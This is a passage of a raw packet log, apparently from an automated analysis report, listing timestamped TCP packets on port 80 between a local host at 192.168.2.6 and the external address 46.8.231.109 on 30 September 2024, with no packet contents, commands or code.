Sep 30, 2024 13:59:48.214822054 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.214833975 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.214844942 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.214855909 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.214864016 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.214867115 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.214874029 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.214879990 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.214879990 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.214906931 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.214920998 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.215073109 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215085030 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215095997 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215109110 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.215120077 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.215142012 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.215234041 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215246916 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215256929 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215267897 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215272903 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.215280056 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.215287924 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215298891 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215301037 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.215307951 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215320110 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215325117 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.215331078 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215342045 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215349913 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.215353012 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215363026 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215373993 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215379953 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.215398073 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.215415001 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.215445995 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215456963 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215466976 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215477943 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215487003 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215493917 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.215497017 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215517044 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.215519905 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.215543032 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.215567112 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.219523907 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219558001 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219567060 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.219598055 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.219619036 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219630957 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219649076 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219656944 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.219659090 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219670057 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.219680071 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.219695091 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.219695091 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219706059 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219727039 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.219729900 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219741106 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.219741106 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219754934 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219760895 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.219779015 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.219779015 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219791889 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219791889 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.219825029 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.219829082 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219839096 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219849110 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219868898 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219876051 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.219892025 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219897985 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.219902992 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219912052 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219913960 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.219933033 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.219934940 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219947100 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219957113 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219958067 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.219976902 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.219980955 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.219990015 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220001936 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220009089 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.220012903 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220026016 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.220050097 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.220079899 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220092058 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220103025 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220113039 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220124006 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220128059 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.220145941 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.220154047 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.220164061 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220175028 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220190048 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220199108 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.220205069 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220211983 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.220216036 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220230103 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.220256090 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.220273972 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.220293045 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220343113 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220355034 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220365047 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220376968 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.220388889 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.220396042 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220407963 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220407963 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.220429897 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.220446110 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220447063 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.220455885 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.220479012 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.220490932 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.300622940 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.300652981 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.300666094 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.300677061 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.300681114 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.300688028 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.300698996 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.300704956 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.300712109 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.300723076 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.300744057 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.300756931 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.300760984 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.300767899 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.300779104 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.300786972 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.300790071 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.300806999 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.300811052 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.300821066 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.300829887 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.300832987 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.300842047 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.300863981 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.300895929 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.301388979 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.301403046 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.301413059 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.301439047 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.301454067 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.301461935 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.301467896 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.301477909 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.301487923 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.301496983 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.301505089 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.301510096 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.301517963 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.301522970 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.301537991 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.301552057 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.301556110 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.301563978 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.301574945 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.301587105 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.301588058 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.301598072 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.301609039 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.301611900 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.301637888 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.301655054 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.302648067 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.302661896 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.302674055 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.302689075 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.302714109 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.302726030 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.302736044 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.302747011 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.302758932 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.302768946 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.302769899 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.302782059 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.302809000 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.302839041 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.302849054 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.302869081 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.302875042 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.302879095 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.302891016 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.302896976 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.302901030 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.302911997 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.302915096 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.302939892 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.302958012 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.303414106 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.303455114 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.303492069 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.303500891 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.303510904 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.303524017 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.303531885 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.303541899 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.303553104 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.303560972 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.303563118 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.303575039 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.303589106 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.303601027 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.303606987 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.303627968 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.303632975 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.303638935 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.303672075 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.303699017 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.303711891 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.303724051 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.303735018 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.303745985 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.303747892 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.303788900 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.303896904 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.303941011 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.303945065 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.304073095 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.304085016 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.304085016 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.304095984 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.304105997 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.304106951 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.304120064 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.304126978 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.304137945 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.304138899 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.304158926 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.304162979 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.304169893 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.304182053 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.304186106 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.304203033 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.304220915 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.304228067 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.304233074 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.304243088 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.304256916 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.304269075 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.304285049 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308192015 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308202982 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308284044 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308290005 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308290005 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308326006 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308367014 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308412075 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308423042 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308444023 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308453083 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308463097 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308474064 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308476925 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308485031 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308501005 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308506012 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308516026 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308517933 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308526993 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308538914 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308547020 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308549881 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308564901 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308574915 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308590889 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308613062 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308654070 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308665037 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308675051 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308687925 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308693886 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308698893 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308706045 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308716059 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308733940 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308749914 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308751106 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308759928 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308770895 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308782101 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308783054 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308793068 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308799028 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308804035 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308815002 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308816910 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308825970 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308844090 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308856010 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308881998 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308882952 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308892965 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308903933 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308913946 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308916092 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308933020 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308933973 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308944941 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308950901 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308955908 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308964014 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308974028 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.308974981 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308985949 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.308995962 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.309001923 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.309029102 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.309036970 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.309046984 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.309057951 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.309068918 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.309077978 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.309078932 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.309091091 CEST	49727	80	192.168.2.6	46.8.231.109
